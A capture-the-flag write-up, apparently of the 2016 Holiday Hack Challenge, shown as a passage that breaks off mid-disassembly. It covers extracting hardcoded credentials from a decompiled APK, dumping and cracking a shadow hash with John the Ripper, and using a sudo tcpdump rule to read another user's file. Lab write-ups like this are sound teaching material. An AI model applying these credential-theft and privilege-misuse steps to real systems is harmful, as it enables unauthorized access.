PEACEONEARTHHOHOHOQWQQD'.............aHOHOHOHOHOHONORTHPOLEHOHOHOELFWHOHOHO
HOHOHOCHRISTMASELFELF!............._mGOODWILLTOWARDSMENCHRISTMASSANTASANTAQ
JOYPEACEONEARTHELFQD'.............aCHRISTMASPEACEONEARTHSANTAHOHOHOWSANTAQQ
NORTHPOLEJOYHOHOHOF.............."????????????????4PEACEONEARTHQQWHOHOHOELF
HOHOHOELFSANTAELFQf...............................]SANTAQWJOYWNORTHPOLEELFQ
HOHOHOPEACEONEARTHf...............................]PEACEONEARTHPEACEONEARTH
JOYPEACEONEARTHELFf...............................]HOHOHOSANTASANTASANTAELF
GOODWILLTOWARDSMENf...............................]PEACEONEARTHNORTHPOLEJOY
NORTHPOLEHOHOHOELFf...............................]HOHOHOCHRISTMASWSANTAELF
ELFSANTACHRISTMASQf...............................]SANTAJOYJOYQWSANTAJOYWQQ
HOHOHONORTHPOLEJOYf...............................]PEACEONEARTHSANTAHOHOHOQ
GOODWILLTOWARDSMENf...............................]CHRISTMASCHRISTMASSANTAQ
PEACEONEARTHELFJOYf...............................]PEACEONEARTHJOYELFQQWJOY
JOYSANTAPEACEONEARTHSANTAWQQWQQWGOODWILLTOWARDSMENCHRISTMASJOYSANTASANTAJOY
ELFNORTHPOLESANTAELFHOHOHOJOYGOODWILLTOWARDSMENNORTHPOLECHRISTMASQWJOYWELFQ
HOHOHOCHRISTMASSANTAJOYCHRISTMASHOHOHOSANTAELFQQWJOYHOHOHOJOYJOYELFJOYELFQQ
CHRISTMASJOYJOYHOHOHOHOHOHOJOYPEACEONEARTHSANTAELFGOODWILLTOWARDSMENELFELFQ
HOHOHOELFHOHOHOJOYNORTHPOLEHOHOHOCHRISTMASQ???????4GOODWILLTOWARDSMENELFELF
NORTHPOLECHRISTMASQQWELFWELFWPEACEONEARTHQQ.......]HOHOHOCHRISTMASQWELFELFQ
JOYJOYGOODWILLTOWARDSMENSANTAELFQWNORTHPOLE.......]PEACEONEARTHCHRISTMASJOY
JOYELFCHRISTMASELFHOHOHOPEACEONEARTHJOYJOYQ.......]GOODWILLTOWARDSMENHOHOHO
NORTHPOLESANTAELFQQWGOODWILLTOWARDSMENELFQQ.......]CHRISTMASCHRISTMASJOYQWQ
HOHOHOSANTAELFNORTHPOLEPEACEONEARTHELFQWELF.......]SANTAHOHOHOELFSANTAELFQQ
HOHOHOSANTAPEACEONEARTHELFWJOYWSANTAQWELFQQ.......]NORTHPOLENORTHPOLEWELFQQ
SANTAHOHOHOELFELFNORTHPOLENORTHPOLEWELFJOYQ.......]GOODWILLTOWARDSMENSANTAQ
GOODWILLTOWARDSMENHOHOHOWGOODWILLTOWARDSMEN.......]SANTASANTAHOHOHOQWHOHOHO
SANTANORTHPOLESANTAWGOODWILLTOWARDSMENELFQQ.......]CHRISTMASPEACEONEARTHJOY
ELFHOHOHONORTHPOLEP????????????????????????.......]CHRISTMASSANTAQQWJOYELFQ
PEACEONEARTHSANTAQf...............................]ELFHOHOHOSANTAELFJOYELFQ
ELFCHRISTMASELFELFf...............................]GOODWILLTOWARDSMENSANTAQ
PEACEONEARTHHOHOHOf...............................]GOODWILLTOWARDSMENJOYJOY
CHRISTMASNORTHPOLEf...............................]HOHOHONORTHPOLEQWJOYELFQ
ELFPEACEONEARTHELFf...............................]GOODWILLTOWARDSMENSANTAQ
JOYJOYELFSANTAELFQf...............................]SANTANORTHPOLEELFSANTAWQ
JOYHOHOHOSANTAJOYQf...............................]PEACEONEARTHNORTHPOLEELF
SANTAELFELFHOHOHOQf...............................]CHRISTMASPEACEONEARTHELF
HOHOHONORTHPOLEELFf...............................]NORTHPOLEHOHOHOJOYWSANTA
PEACEONEARTHELFJOY6aaaaaaaaaaaaaaaaaaaaaaaa.......]PEACEONEARTHHOHOHOSANTAQ
CHRISTMASELFELFJOYQQWWWWWWWWWWWWWWWWWWWWWQQ.......]NORTHPOLENORTHPOLESANTAQ
NORTHPOLECHRISTMASHOHOHONORTHPOLEHOHOHOJOYQ.......]PEACEONEARTHELFQQWHOHOHO
JOYPEACEONEARTHJOYCHRISTMASPEACEONEARTHELFQ.......]NORTHPOLEJOYPEACEONEARTH
NORTHPOLECHRISTMASPEACEONEARTHHOHOHOSANTAQQ.......]PEACEONEARTHCHRISTMASELF
HOHOHOHOHOHONORTHPOLEELFCHRISTMASHOHOHOELFQ.......]HOHOHONORTHPOLEELFSANTAQ
NORTHPOLEJOYHOHOHOQQWPEACEONEARTHCHRISTMASQ.......]ELFHOHOHOELFSANTAJOYQQWQ
ELFJOYJOYJOYNORTHPOLEJOYPEACEONEARTHSANTAQQ.......]CHRISTMASELFELFQQWHOHOHO
SANTASANTACHRISTMASNORTHPOLENORTHPOLEELFJOY.......]PEACEONEARTHPEACEONEARTH
ELFPEACEONEARTHJOYQWJOYJOYSANTAHOHOHOJOYELF.......]GOODWILLTOWARDSMENJOYQWQ
JOYCHRISTMASJOYCHRISTMASJOYWNORTHPOLEJOYJOYaaaaaaajCHRISTMASPEACEONEARTHJOY
PEACEONEARTHCHRISTMASPEACEONEARTHWELFWSANTAWWWWWWCHRISTMASJOYNORTHPOLEJOYQQ
SANTACHRISTMASSANTAELFJOYQWNORTHPOLEELFSANTAELFQQP]NORTHPOLESANTAJOYWJOYWQQ
ELFJOYCHRISTMASNORTHPOLEWPEACEONEARTHNORTHPOLEQ@^.]HOHOHOHOHOHOELFCHRISTMAS
HOHOHOELFSANTASANTAWNORTHPOLENORTHPOLEJOYQWELFP`..]CHRISTMASPEACEONEARTHJOY
CHRISTMASJOYPEACEONEARTHJOYSANTAQWCHRISTMASQ@"....]JOYGOODWILLTOWARDSMENJOY
GOODWILLTOWARDSMENJOYJOYWHOHOHOHOHOHOQQWELFP`.....]GOODWILLTOWARDSMENELFELF
ELFSANTAHOHOHOGOODWILLTOWARDSMENCHRISTMASW".......]PEACEONEARTHELFQQWELFWQQ
GOODWILLTOWARDSMENNORTHPOLEPEACEONEARTHQP`........]GOODWILLTOWARDSMENSANTAQ
CHRISTMASHOHOHOELFQWJOYWSANTAJOYWELFQQW"..........]GOODWILLTOWARDSMENELFELF
JOYHOHOHOGOODWILLTOWARDSMENHOHOHOELFQP`...........]NORTHPOLENORTHPOLEHOHOHO
PEACEONEARTHGOODWILLTOWARDSMENWJOYQW".............]HOHOHOHOHOHONORTHPOLEJOY
ELFPEACEONEARTHJOYCHRISTMASHOHOHOQP`..............]PEACEONEARTHSANTAWELFWQQ
NORTHPOLEHOHOHOJOYELFSANTAQQWJOYW!................yPEACEONEARTHCHRISTMASELF
CHRISTMASELFELFJOYP?????????????`...............sPEACEONEARTHJOYJOYSANTAELF
JOYHOHOHOELFHOHOHOf..........................._mWQWNORTHPOLECHRISTMASHOHOHO
GOODWILLTOWARDSMENf..........................jCHRISTMASNORTHPOLESANTAJOYJOY
NORTHPOLEHOHOHOELFf........................_JOYPEACEONEARTHELFJOYJOYWJOYWQQ
GOODWILLTOWARDSMENf......................_yGOODWILLTOWARDSMENCHRISTMASELFQQ
NORTHPOLENORTHPOLEf.....................:GOODWILLTOWARDSMENSANTASANTAELFJOY
ELFNORTHPOLEJOYJOYf......................-9NORTHPOLEPEACEONEARTHCHRISTMASQQ
NORTHPOLEELFSANTAQf........................?WGOODWILLTOWARDSMENHOHOHOSANTAQ
GOODWILLTOWARDSMENf..........................4WJOYPEACEONEARTHHOHOHOWELFWQQ
PEACEONEARTHSANTAQf...........................-$SANTACHRISTMASHOHOHOELFJOYQ
HOHOHOELFJOYJOYJOY6aaaaaaaaaaaaa,...............?WWPEACEONEARTHPEACEONEARTH
JOYELFHOHOHOJOYSANTAWWWWWWWWWWWQQc...............-4NORTHPOLEHOHOHOQWJOYELFQ
NORTHPOLEGOODWILLTOWARDSMENSANTAWWg,..............]GOODWILLTOWARDSMENSANTAQ
NORTHPOLEHOHOHOELFHOHOHOCHRISTMASELFc.............]HOHOHOELFSANTAWCHRISTMAS
PEACEONEARTHJOYJOYNORTHPOLESANTAJOYWWg,...........]GOODWILLTOWARDSMENJOYQWQ
ELFHOHOHOELFHOHOHOCHRISTMASCHRISTMASJOYc..........]HOHOHOJOYELFQWCHRISTMASQ
PEACEONEARTHSANTAJOYWCHRISTMASJOYSANTAWWw,........]PEACEONEARTHHOHOHOELFELF
CHRISTMASJOYPEACEONEARTHSANTAPEACEONEARTHQc.......]PEACEONEARTHSANTAELFQWQQ
NORTHPOLEPEACEONEARTHJOYNORTHPOLEJOYELFQQWWw......]PEACEONEARTHWHOHOHOJOYQQ
GOODWILLTOWARDSMENQWHOHOHOQWNORTHPOLEELFELFQQ/....]PEACEONEARTHNORTHPOLEJOY
ELFGOODWILLTOWARDSMENCHRISTMASJOYWJOYWSANTAJOYg...]SANTASANTAHOHOHOJOYQWJOY
NORTHPOLEPEACEONEARTHGOODWILLTOWARDSMENELFELFQWQ,.]PEACEONEARTHNORTHPOLEJOY
CHRISTMASCHRISTMASJOYSANTAWGOODWILLTOWARDSMENQQWQwjPEACEONEARTHSANTAQWJOYQQ
ELFPEACEONEARTHJOYJOYJOYWSANTAQQWPEACEONEARTHCHRISTMASGOODWILLTOWARDSMENJOY
CHRISTMASJOYJOYJOYQWGOODWILLTOWARDSMENSANTAQQWGOODWILLTOWARDSMENJOYWHOHOHOQ
PEACEONEARTHSANTACHRISTMASSANTAELFELFQQWJOYWGOODWILLTOWARDSMENHOHOHOHOHOHOQ
PEACEONEARTHELFELFSANTAQWJOYNORTHPOLEPEACEONEARTHELFSANTAHOHOHOPEACEONEARTH
NORTHPOLECHRISTMASELFNORTHPOLEELFJOYQWCHRISTMASGOODWILLTOWARDSMENNORTHPOLEQ
JOYJOYSANTAJOYSANTACHRISTMASJOYQWPEACEONEARTHNORTHPOLECHRISTMASJOYHOHOHOELF
JOYPEACEONEARTHELFQWELFWCHRISTMASSANTASANTANORTHPOLEQWPEACEONEARTHJOYWJOYWQ

Hope your neck is not stiff, 'cause you need to tilt your head to the right to see the hidden message: Bug Bounty. It so happens that the password to the ZIP file is bugbounty. We can now extract the APK file from the ZIP archive:

$ unzip SantaGram_v4.2.zip
Archive:  SantaGram_v4.2.zip
[SantaGram_v4.2.zip] SantaGram_4.2.apk password: bugbounty
  inflating: SantaGram_4.2.apk

Part 2: Awesome Package Konveyance

Let's take a look at this APK, then! We can use JADX to decompile the APK.

Since we're looking for credentials, we can then grep on username, password, etc., to find what we're looking for:

$ grep --include "*.java" -Rn password .
./android/support/v4/j/a/c.java:529:        stringBuilder.append("; password: ").append(k());
./com/northpolewonderland/santagram/Login.java:36:        this.c = (EditText) findViewById(R.id.passwordTxt);
./com/northpolewonderland/santagram/Login.java:104:                                    aVar.b((CharSequence) "We've sent you an email to reset your password!").a((int) R.string.app_name).a((CharSequence) "OK", null);
./com/northpolewonderland/santagram/SignUp.java:22:    EditText passwordTxt;
./com/northpolewonderland/santagram/SignUp.java:29:        inputMethodManager.hideSoftInputFromWindow(this.passwordTxt.getWindowToken(), 0);
./com/northpolewonderland/santagram/SignUp.java:46:        this.passwordTxt = (EditText) findViewById(R.id.passwordTxt2);
./com/northpolewonderland/santagram/SignUp.java:56:                if (this.a.usernameTxt.getText().toString().matches("") || this.a.passwordTxt.getText().toString().matches("") || this.a.fullnameTxt.getText().toString().matches("")) {
./com/northpolewonderland/santagram/SignUp.java:68:                parseUser.setPassword(this.a.passwordTxt.getText().toString());
./com/northpolewonderland/santagram/b.java:91:            jSONObject.put("password", "busyreindeer78");
./com/northpolewonderland/santagram/SplashScreen.java:53:            jSONObject.put("password", "busyreindeer78");
./com/parse/ParseRESTUserCommand.java:39:        hashMap.put("password", str2);
./com/parse/ParseUser.java:20:    private static final String KEY_PASSWORD = "password";
./com/parse/ParseUser.java:252:            throw new IllegalArgumentException("Must specify a password for the user to log in with");
./com/parse/ParseUser.java:795:                final String password = currentUser.getPassword();
./com/parse/ParseUser.java:810:                                if (password != null) {
./com/parse/ParseUser.java:811:                                    currentUser.setPassword(password);
./com/parse/ParseUser.java:998:            throw new ParseException(-1, "Unable to saveEventually on a ParseUser with dirty password");

We see that the file ./com/northpolewonderland/santagram/b.java is interesting. If we open it, we'll find our wanted credentials:

// File ./com/northpolewonderland/santagram/b.java, line 87
public static void a(final Context context, String str) {
    final JSONObject jSONObject = new JSONObject();
    try {
        jSONObject.put("username", "guest");
        jSONObject.put("password", "busyreindeer78");
        jSONObject.put("type", "usage");
        jSONObject.put("activity", str);
        jSONObject.put("udid", Secure.getString(context.getContentResolver(), "android_id"));
        new Thread(new Runnable() {
            public void run() {
                b.a(context.getString(R.string.analytics_usage_url), jSONObject);
            }
        }).start();
    } catch (Exception e) {
        Log.e(a, e.getMessage());
    }
}

The credentials in the APK file are guest/busyreindeer78.

We're then supposed to look at an audio file. To do this, we have to take a look at the resources of the APK file. To do this, we'll unzip the APK. Indeed, APK files are just particular ZIP files:

$ unzip -d SantaGram_4.2_unzipped SantaGram_4.2.apk
Archive:  SantaGram_4.2.apk
  inflating: SantaGram_4.2_unzipped/AndroidManifest.xml
  inflating: SantaGram_4.2_unzipped/META-INF/CERT.RSA
  inflating: SantaGram_4.2_unzipped/META-INF/CERT.SF
  inflating: SantaGram_4.2_unzipped/META-INF/MANIFEST.MF
  inflating: SantaGram_4.2_unzipped/assets/tou.html
  inflating: SantaGram_4.2_unzipped/classes.dex
[snip for brievety]
 extracting: SantaGram_4.2_unzipped/res/raw/discombobulatedaudio1.mp3
 extracting: SantaGram_4.2_unzipped/resources.arsc

The name of the audio file in the SantaGram APK file is discombobulatedaudio1.mp3.

Part 3: A Fresh-Baked Holiday Pi

Despite what we've learned on the SantaGram bug bounty program, we're nowhere closer to learn where Santa Claus is being held. By roaming the North Pole, we can see password protected doors:

Next to these doors, we can see little terminals. However, in order to interact with these terminals, we need a little system called a Cranberry Pi. In a sense, we're in luck because by talking to the elf Wunorse Openslae (hey!), we learn that Santa's sleigh is equiped with a Cranberry Pi, to control the SCADA interface:

Indeed, strewn across the North Pole, we can find pieces of the Cranberry Pi system:

A Cranberry Pi board
A heat sink (why would you need one in the North Pole in the first place?)
An HDMI cable
An SD card
A power cord

We now have a full Cranberry Pi system. The only missing part is given by the elf Holly Evergreen: a Cranbian image, which we can use to boot on our Cranberry Pi.

However, in order to use our CranPi, we need the password to open a user session. Luckily, this tutorial by Josh Wright teaches us how we can mount a Raspberry Pi file system image. Since Cranberry Pi and Raspberry Pi are basically the same (wake up, sheeple!), we now know how to mount our Cranbian image:

$ unzip cranbian.img.zip
Archive:  cranbian.img.zip
  inflating: cranbian-jessie.img
$ /sbin/fdisk -l cranbian-jessie.img

Disque cranbian-jessie.img : 1,3 GiB, 1389363200 octets, 2713600 secteurs
Unités : secteur de 1 × 512 = 512 octets
Taille de secteur (logique / physique) : 512 octets / 512 octets
taille d'E/S (minimale / optimale) : 512 octets / 512 octets
Type d'étiquette de disque : dos
Identifiant de disque : 0x5a7089a1

Device               Boot  Start     End Sectors  Size Id Type
cranbian-jessie.img1        8192  137215  129024   63M  c W95 FAT32 (LBA)
cranbian-jessie.img2      137216 2713599 2576384  1,2G 83 Linux
$ mkdir cranbian_img_extracted
$ sudo mount -v -o offset=$((512*137216)) -t ext4 ./cranbian-jessie.img ./cranbian_img_extracted
mount : /dev/loop0 monté sur ./cranbian_img_extracted.
$ ls cranbian_img_extracted/
bin  boot  dev  etc  home  lib  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

We now have access to the Cranbian file system. This means that we can try to crack passwords in the shadow file.

$ cat cranbian_img_extracted/etc/shadow
root:*:17067:0:99999:7:::
daemon:*:17067:0:99999:7:::
bin:*:17067:0:99999:7:::
sys:*:17067:0:99999:7:::
sync:*:17067:0:99999:7:::
games:*:17067:0:99999:7:::
man:*:17067:0:99999:7:::
lp:*:17067:0:99999:7:::
mail:*:17067:0:99999:7:::
news:*:17067:0:99999:7:::
uucp:*:17067:0:99999:7:::
proxy:*:17067:0:99999:7:::
www-data:*:17067:0:99999:7:::
backup:*:17067:0:99999:7:::
list:*:17067:0:99999:7:::
irc:*:17067:0:99999:7:::
gnats:*:17067:0:99999:7:::
nobody:*:17067:0:99999:7:::
systemd-timesync:*:17067:0:99999:7:::
systemd-network:*:17067:0:99999:7:::
systemd-resolve:*:17067:0:99999:7:::
systemd-bus-proxy:*:17067:0:99999:7:::
messagebus:*:17067:0:99999:7:::
avahi:*:17067:0:99999:7:::
ntp:*:17067:0:99999:7:::
sshd:*:17067:0:99999:7:::
statd:*:17067:0:99999:7:::
cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEhahBINm/2YyjFihxg7tgc343b0:17140:0:99999:7:::

We can do so by using John the Ripper with the rockyou dictionary:

$ john --wordlist=./rockyou.txt ./cranbian_img_extracted/etc/shadow
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
yummycookies     (cranpi)
1g 0:00:06:12 DONE (2016-12-24 19:11) 0.002687g/s 1221p/s 1221c/s 1221C/s 03698741..yoatzin
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We now have a valid account: cranpi/yummycookies.

We can now interact with every terminal in the North Pole. Every terminal is basicaly a minimal Linux system on which we have to find some sort of flag, to use as a passphrase to open the door next to it.

Elf House #2

*******************************************************************************
*                                                                             *
*To open the door, find both parts of the passphrase inside the /out.pcap file*
*                                                                             *
*******************************************************************************

So, apparently, the passphrase is in two parts, in a network capture file. Let's take a look at this file:

scratchy@31368df46952:/$ ls -l /out.pcap
-r-------- 1 itchy itchy 1087929 Dec  2 15:05 /out.pcap
scratchy@31368df46952:/$ cat /out.pcap
cat: /out.pcap: Permission denied

So, this file belongs to user itchy, and we can't read it. Let's see what's installed on the system:

scratchy@31368df46952:/$ cat /var/log/apt/history.log
Start-Date: 2016-11-04  18:30:58
Commandline: apt-get dist-upgrade -y
Upgrade: tzdata:amd64 (2016f-0+deb8u1, 2016h-0+deb8u1), tar:amd64 (1.27.1-2+b1, 1.27.1-
2+deb8u1)
End-Date: 2016-11-04  18:31:00
Start-Date: 2016-12-01  21:18:39
Commandline: apt-get install -y tcpdump sudo nano vim binutils
Install: nano:amd64 (2.2.6-3), libssl1.0.0:amd64 (1.0.1t-1+deb8u5, automatic), tcpdump:
amd64 (4.6.2-5+deb8u1), libpcap0.8:amd64 (1.6.2-2, automatic), vim-common:amd64 (7.4.48
8-7+deb8u1, automatic), sudo:amd64 (1.8.10p3-1+deb8u3), binutils:amd64 (2.25-5), vim:am
d64 (7.4.488-7+deb8u1), vim-runtime:amd64 (7.4.488-7+deb8u1, automatic), libgpm2:amd64
(1.20.4-6.1+b2, automatic)
End-Date: 2016-12-01  21:18:41

So, sudo and tcpdump were both installed on the system. Maybe there's a particular configuration in the /etc/sudoers file that allows us to run tcpdump as itchy without having to provide any password... Let's try to use sudo and tcpdump to read the content of the file, and write it in another one:

scratchy@31368df46952:/$ sudo -u itchy tcpdump -r /out.pcap -w /tmp/out2.pcap
sudo: unable to resolve host 31368df46952
reading from file /out.pcap, link-type EN10MB (Ethernet)
scratchy@31368df46952:/$ ls -lh /tmp/out2.pcap
-rw-r--r-- 1 itchy itchy 1.1M Dec 25 02:56 /tmp/out2.pcap
scratchy@31368df46952:/$ sha256sum /tmp/out2.pcap
07ec6f56c937fc939c8eb64c454ece277f8c1e4f8b851781ce7f4451d48ec985  /tmp/out2.pcap

w00t, we we're indeed able to copy the content of the file to another file, which we can read, since we were able to compute its sha256 sum.

I learned afterwards the existence of the -l flag in sudo:

SUDO(8)                                                                            BSD System Manager's Manual                                                                            SUDO(8)

NAME
     sudo, sudoedit — execute a command as another user

SYNOPSIS
     sudo -h | -K | -k | -V
     sudo -v [-AknS] [-a type] [-g group] [-h host] [-p prompt] [-u user]
     sudo -l [-AknS] [-a type] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
[...]
     -l, --list  If no command is specified, list the allowed (and forbidden) commands for the invoking user (or the user specified by the -U option) on the current host.  A longer list format
                 is used if this option is specified multiple times and the security policy supports a verbose output format.

And all this time, I was thinking:

Hmm, is there a way to list what you can do with sudo when you can't read the /etc/sudoers file? Well, I'll search later!

Why, yes, Yannick, it IS possible! It's the -l flag! You lazy, you. #TheMoreYouKnow

Anyway, if you issue sudo -l, you can see that we can indeed run tcpdump and strings as the itchy user, without knowing the scratchy user's password:

scratchy@8bb89db76dd2:/$ sudo -l
sudo: unable to resolve host 8bb89db76dd2
Matching Defaults entries for scratchy on 8bb89db76dd2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User scratchy may run the following commands on 8bb89db76dd2:
    (itchy) NOPASSWD: /usr/sbin/tcpdump
    (itchy) NOPASSWD: /usr/bin/strings

Now that I had a readable copy of the PCAP file, I extracted the content of this PCAP, by base64 encoding, so that I could analyze it on my own machine. You can download the PCAP file here (sha256: 07ec6f56c937fc939c8eb64c454ece277f8c1e4f8b851781ce7f4451d48ec985).

We can now open the PCAP file in Wireshark, which is a hell of a lot nicer than analyzing it on the terminal:

We can see a request to a file called firsthalf.html:

GET /firsthalf.html HTTP/1.1
User-Agent: Wget/1.17.1 (darwin15.2.0)
Accept: */*
Accept-Encoding: identity
Host: 192.168.188.130
Connection: Keep-Alive

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.12+
Date: Fri, 02 Dec 2016 11:28:00 GMT
Content-type: text/html
Content-Length: 113
Last-Modified: Fri, 02 Dec 2016 11:25:35 GMT

<html>
<head></head>
<body>
<form>
<input type="hidden" name="part1" value="santasli" />
</form>
</body>
</html>

We have the first half of our passphrase, santasli.

Now, to take a look at the second half. We can see that there is another HTTP request, for the second half:

GET /secondhalf.bin HTTP/1.1
User-Agent: Wget/1.17.1 (darwin15.2.0)
Accept: */*
Accept-Encoding: identity
Host: 192.168.188.130
Connection: Keep-Alive

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.12+
Date: Fri, 02 Dec 2016 11:28:00 GMT
Content-type: application/octet-stream
Content-Length: 1048097
Last-Modified: Fri, 02 Dec 2016 11:26:12 GMT

L}*.O..r.v./....v....z{.x.'.l.(..@.1].X...k7.?.../.B..G.FPj.`~.%.....a~.;90.cLgc.q2..`.D.x...V....6...........@...x. %JK...kO...Idw..<..G.\.
....... .....(.._.1sf..)$mg@..=.*
........
[snip]

We can see that a lot of binary content is being downloaded. I extracted it, and tried to identify it:

$ file secondhalf.bin
secondhalf.bin: data

Uh oh, file was not able to identify the type of file. Maybe the start of the file is just garbage, but there are some files carved later in the file. Let's use binwalk, it should give us something to work with:

$ binwalk secondhalf.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------

Damn, nothing. Maybe foremost will have more luck?

$ foremost secondhalf.bin
Processing: secondhalf.bin
|*|
$ cat output/audit.txt
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File

Foremost started at Mon Dec 26 00:44:48 2016
Invocation: foremost secondhalf.bin
Output directory: output
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: secondhalf.bin
Start: Mon Dec 26 00:44:48 2016
Length: 1009 KB (1033943 bytes)

Num  Name (bs=512)         Size  File Offset     Comment

Finish: Mon Dec 26 00:44:48 2016

0 FILES EXTRACTED

------------------------------------------------------------------

Foremost finished at Mon Dec 26 00:44:48 2016

Still nothing... Is this file completely random? Let's use ent to measure the entropy of the file:

$ ent secondhalf.bin
Entropy = 7.999841 bits per byte.

Optimum compression would reduce the size
of this 1033943 byte file by 0 percent.

Chi square distribution for 1033943 samples is 227.29, and randomly
would exceed this value 75.00 percent of the times.

Arithmetic mean value of data bytes is 127.4329 (127.5 = random).
Monte Carlo value for Pi is 3.145233080 (error 0.12 percent).
Serial correlation coefficient is -0.001185 (totally uncorrelated = 0.0).

With these kinds of results, we can be pretty sture that this file is random. The logical thing is to assume that it's some kind of encrypted file. What's more, by looking at the end of the capture file, we can see some Dropbox LAN Sync Discovery Protocol:

{"host_int": 266670160730277518981342002975279884847, "version": [2, 0], "displayname": "", "port": 17500, "namespaces": [1149071040, 1139770785, 1357103393, 1296963687, 1139786665, 1261247053, 1331126254, 1179166992, 1210559602, 1261612467, 1223790038, 1234538553, 1304191898, 1246301403, 1056298300, 1207374239]}

With this, I was pretty sure to have it the jackpot! I spent the whole day reading documentation on Dropbox attacks, relying on the knowledge of this host_int parameter... and a host_id parameter, which was impossible to find anywhere. I tried to use the host_int paramter directly as a decryption key, with several openssl algorithm, but, of course, to no avail.

In a move of desperation, I went to /r/netsec, in order to find some clue on this particular part (I was weak, I'm sorry). This comment really turned things around:

What types of strings does the strings utility look for, by default? #hint

With this clue, I immediatly found out. By default, strings looks for strings with a minimum length of 4, with a default encoding of 7-bit ASCII. The binary data probably contained a string encoding in another form. I immediatly tried 16-bit big endian:

$ strings -e b secondhalf.bin
art2:ttlehelper

My error here was to assume that the binary data was in fact an encrypted blob. Anyway, the second half is ttlehelper.

Passphrase: santaslittlehelper.

Workshop, first door

*******************************************************************************
*                                                                             *
* To open the door, find the passphrase file deep in the directories.         *
*                                                                             *
*******************************************************************************

According to the motd, there is on the file system a file containing the passphrase to the door. We can use the find command to list every file on the file system:

$ find / -type f 2> /dev/null > ~/files.txt
$ head ~/files.txt
/home/elf/files.txt
/home/elf/.bashrc
/home/elf/.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt
/home/elf/.profile
/home/elf/.bash_logout
/etc/hosts
/etc/resolv.conf
/etc/hostname
/etc/shadow
/etc/passwd-

The higlighted file seems interesting. However, there's a lot of tricky characters in the path, and tabulation autocomplete is disabled on this terminal. However, we can use some shell-fu to get the content of the file:

$ find ~/.doormat -name "key_for_the_door.txt" -exec cat {} \;
key: open_sesame

Passphrase: open_sesame

With this passphrase, we can open the door, which gives us access to Santa's office.

Santa's office

When you interact with the terminal in Santa's office, you get greeted by this prompt:

By DuckDuckGoing this sentence, we can find that it's a WarGames reference. Now, I haven't seen WarGames (I know, shame on me), but I managed to find a clip with the necessary commands:

    GREETINGS PROFESSOR FALKEN.

    Hello.

    HOW ARE YOU FEELING TODAY?

    I'm fine. How are you?

    EXCELLENT, IT'S BEEN A LONG TIME. CAN YOU EXPLAIN THE REMOVAL OF YOUR USER ACCOUNT ON 6
    /23/73?

    People sometimes make mistakes.

    YES THEY DO. SHALL WE PLAY A GAME?

    Love to. How about Global Thermonuclear War?

    WOULDN'T YOU PREFER A GOOD GAME OF CHESS?

    Later. Let's play Global Thermonuclear War.

    FINE

    ,------~~v,_         _                     _--^\
     |'          \   ,__/ ||                 _/    /,_ _
    /             \,/     /         ,,  _,,/^         v v-___
    |                    /          |'~^                     \
    \                   |         _/                     _ _/^
     \                 /         /                   ,~~^/ |
      ^~~_       _ _   /          |          __,, _v__\   \/
          '~~,  , ~ \ \           ^~       /    ~   //
              \/     \/             \~,  ,/
                                       ~~
       UNITED STATES                   SOVIET UNION
    WHICH SIDE DO YOU WANT?
         1.    UNITED STATES
         2.    SOVIET UNION
    PLEASE CHOOSE ONE:
    2

    AWAITING FIRST STRIKE COMMAND
    -----------------------------
    PLEASE LIST PRIMARY TARGETS BY
CITY AND/OR COUNTRY NAME:

Las Vegas

LAUNCH INITIATED, HERE'S THE KEY FOR YOUR TROUBLE:
LOOK AT THE PRETTY LIGHTS

Passphrase: LOOK AT THE PRETTY LIGHTS

With this passphrase, you can access a new room called the corridor.

The corridor

There's no terminal in this room, only a password protected door. Let's put a pin on this for now.

Workshop, second door

*******************************************************************************
*                                                                             *
* Find the passphrase from the wumpus. Play fair or cheat; it's up to you.    *
*                                                                             *
*******************************************************************************

On this terminal, we have a kind of game, looking a lot like Hunt the Wumpus, where we have to go down a dungeon, slay the wumpus, and get the passphrase from it.

However, instead of playing the game, we chan cheat, as the motd suggests, by analyzing the binary to extract the passphrase. We can extract the wumpus binary by base64-encoding it on the board, copying the result, then base64-decoding it on our analysis machine. You can get a copy of the executable here (sha256: 10412d7773a5d3a49e5a5facdc5aa386a4e3eaec7dca83bc769a104e1790c1fd).

If we look at the list of functions we can see one called kill_wump. By looking at the disassembly of this function, using radare2 (God, I've got to learn how to use this tool, there seems to be a steep learning curve!), we can see that this function is called when you managed to kill the wumpus, and gives you the passphrase:

[0x00605118]> pdf @ fcn.kill_wump
/ (fcn) fcn.kill_wump 546
|   fcn.kill_wump ();
|           ; var int local_8h @ rbp-0x8
|           0x00402644      55             push rbp
|           0x00402645      4889e5         mov rbp, rsp
|           0x00402648      4883ec10       sub rsp, 0x10
|           0x0040264c      bf38354000     mov edi, str._thwock____groan___crash__n_nA_horrible_roar_fills_the_cave__and_you_realize__with_a_smile__that_you_nhave_slain_the_evil_Wumpus_and_won_the_game___You_don_t_want_to_tarry_for_nlong__however__because_not_only_is_the_Wumpus_famous__but_the_stench_of_ndead_Wumpus_is_also_quite_well_known__a_stench_plenty_enough_to_slay_the_nmightiest_adventurer_at_a_single_whiff__ ; "*thwock!* *groan* *crash*..A horrible roar fills the cave, and you realize, with a smile, that you.have slain the evil Wumpus and won the game!  You don't want to tarry for.long, however, because not only is the Wumpus famous, but the stench of.dead Wumpus is also quite well known, a stench plenty enough to slay the.mightiest adventurer at a single whiff!!" @ 0x403538
|           0x00402651      e85ae4ffff     call sym.imp.puts          ; int puts(const char *s);
|           0x00402656      bf18000000     mov edi, 0x18               ; "0.@"
|           0x0040265b      e8f0e4ffff     call sym.imp.malloc        ;  void *malloc(size_t size);
